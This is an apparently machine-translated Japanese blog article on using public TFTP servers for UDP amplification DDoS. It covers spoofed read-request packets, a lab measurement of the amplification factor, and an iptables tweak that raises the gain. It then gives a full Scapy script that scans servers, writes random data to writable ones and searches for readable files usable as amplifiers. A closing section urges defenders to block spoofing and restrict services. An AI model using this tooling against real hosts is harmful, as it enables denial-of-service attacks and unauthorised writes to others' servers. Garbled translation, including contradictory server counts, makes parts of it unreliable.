少し戻って、UDPベースの増幅攻撃とは何かを思い出しましょう。 実装全体は、2つのポイントになります。
- 1）脆弱なサービスに、偽の送信者アドレス（犠牲者アドレス）を持つ特別なUDPパケットを送信する
- 2）パッケージを使用した被害者の住所に対するサービスの応答は、初期サイズの数倍です。
したがって、被害者に送信するすべてのビットは、要因によって「増幅」されることがわかります。 us-cert.govによるプロトコルとその増幅係数のリストは次のとおりです。
これは完全なリストではなく、tftpなど、他の「興味深い」プロトコルがあります。 私の記事はさらに彼に捧げられます。
理論
トリビアルファイル転送プロトコル（tftp）は非常に単純なもので、その名前はすべての機能を説明しています。 Tftpは認証をサポートしておらず、実際にはセキュリティメカニズムもサポートしていません。 UDPベースの増幅攻撃を実装するには、どのtftpパケットが「増幅」を返すかを理解する必要があります。 受信/送信を開始するパケットは次のとおりです。
RFC 1350を確認すると、ファイルの受信を開始するパケットのみが要件を満たしていることが明らかになります。 規格によれば、送信者アドレスの偽装が可能な最初のパケットは、RRQ（読み取り要求）またはWRQ（書き込み要求）です。 WRQへの応答として、サーバーは小さなサイズの確認パケットを送信しますが、要求されたデータの最初のパケットは512バイト以下で、RRQに応答します。 必要な形式：
\ x01-オペコードRRQ
オクテット-送信のタイプ、この場合は重要ではない
そのようなパッケージを作成し、その後のテストを行うには、 Scapyを使用します 。 理想的な条件のスターターに対して、tftp増幅を使用する可能性をテストすることを提案します。
ホストOSではtftpd32が実行され、ゲストscapyではラップトップが被害者として機能します。 そのようなパッケージを送信する最初のテスト：
次のトラフィックが被害者側に現れました。
したがって、送信した62バイトは1306バイトのトラフィックを生成し、これは元のトラフィックの21倍です。 結果は小さな係数ですが、よくあることですが、icmpトラフィックを禁止しましょう。
＃iptables -I OUTPUT -p icmp --icmp-type destination-unreachable -j DROP
今回は、次のトラフィックが表示されます。
総ボリュームは3415バイトで、今回の係数は55です。これはすでにDNS増幅に匹敵するものです。
練習する
shodanhq.comの推定値と自身の「感情」の両方によると、利用可能なtftpサーバーの数は20万を超えません。 2800万の 「危険な」DNSサーバーと比較して、tftpサーバーからの脅威は無視できます。 さらに、ゲインを使用するには、サーバー上のファイル名を知っているか、書き込み可能である必要があります。 また、使用できるサーバーの数も減少します。 適切なサーバーを見つけるための簡単なスクリプトが作成されました。
スクリプト自体
name_list.txt-tftpの存在を確認する必要があるファイル名のリスト。私のリストはEUPL-EN.pdfです。 tftpd32.ini; .bash_history; startup-config; running-config; pxelinux.cfg; linux.bin; boot.bin
#/usr/bin/env python from scapy.all import * from random import randint import os, time import multiprocessing as mp def send_udp(ip): name_list = open('name_list.txt', 'r') wr_str = os.urandom(511) tftp_wrq = IP(dst=ip)/UDP(sport=2222, dport=69)/TFTP()/TFTP_WRQ(filename='filename', mode='octet') p_wrq = sr1(tftp_wrq, timeout=2, verbose=0) try: if p_wrq.payload.payload.load: if p_wrq.payload.payload.load[1] == '\x04': tftp_data = IP(dst=ip)/UDP(sport=2222, dport=p_wrq.sport)/TFTP()/TFTP_DATA(block=0)/wr_str send(tftp_data, verbose=0) res = (ip, 'filename') return res elif p_wrq.payload.payload.load[1] == '\x05': for name in name_list.read().split('\n'): tftp_rrq = IP(dst=ip)/UDP(sport=2222, dport=69)/TFTP()/TFTP_RRQ(filename=name, mode='octet') p_rrq = sr1(tftp_rrq, timeout=2, verbose=0) if p_rrq.payload.payload.load[1] == '\x03': res = (ip, name) return res except AttributeError: return False def save(res): if res: fo.write('%s:%s\n' % res) def main(ip_mas): pool = mp.Pool(5) for ip in ip_mas: pool.apply_async(send_udp, args=(ip, ), callback=save) pool.close() pool.join() if __name__ == '__main__': f = open('tftp_list.txt', 'r') fo = open('results.txt', 'a') ip_mas = [] for line in f.read().split('\n'): if line: if len(line.split('.')) == 4: ip_mas.append(line) main(ip_mas) f.close() fo.close()
name_list.txt-tftpの存在を確認する必要があるファイル名のリスト。私のリストはEUPL-EN.pdfです。 tftpd32.ini; .bash_history; startup-config; running-config; pxelinux.cfg; linux.bin; boot.bin
私がチェックした1万台のサーバーのうち、適切であることが判明したのは1.5万台だけでしたが、可用性を確認するファイル名の適切なリストを作成することで、この数字を増やすことができると思います。
おわりに
tftp UDPベースの増幅は、DNS増幅に匹敵しますが、普及率と運用特性が低いため、それほど重要ではないと思います。 ハイブリッド攻撃の一部として使用することは可能であり、唯一の攻撃ベクトルとしての使用は、弱いデータチャネルでのみ正当化されると思います。
一部の専門家は「増幅」について誤解しているようです。したがって、「パブリックDNS、NTPはありませんが、これは私に影響を与えません」という原則に従っています。 この記事では、「増幅」攻撃の主な問題がDNS、NTP、tftpなどのサービスの実装だけでなく、下位レベルにあるという事実に注意を喚起したいと思います。UDPはTCP / IPプロトコルスタックで使用されます。 この問題を解決するには、多くのレベルで作業が必要です。 UDPでサービスを作成する場合、プログラマはゲインを減らし、ネットワークの専門家はゾーン内の送信者IPアドレスのスプーフィングを禁止し、システム管理者は十分なベースでサービスへのアクセスを制限する必要があります。
UDPで実行されている他のサービスの分析：
Quake 3サーバー
SSDP
SNMP、NTP、Chargen
PS DNSとNTPのほかに、UDPベースの増幅攻撃に遭遇した実践からの事例について話すことができる読者がいます。ハイブリッド攻撃の有無、パワー、コメントで私の経験を共有してください。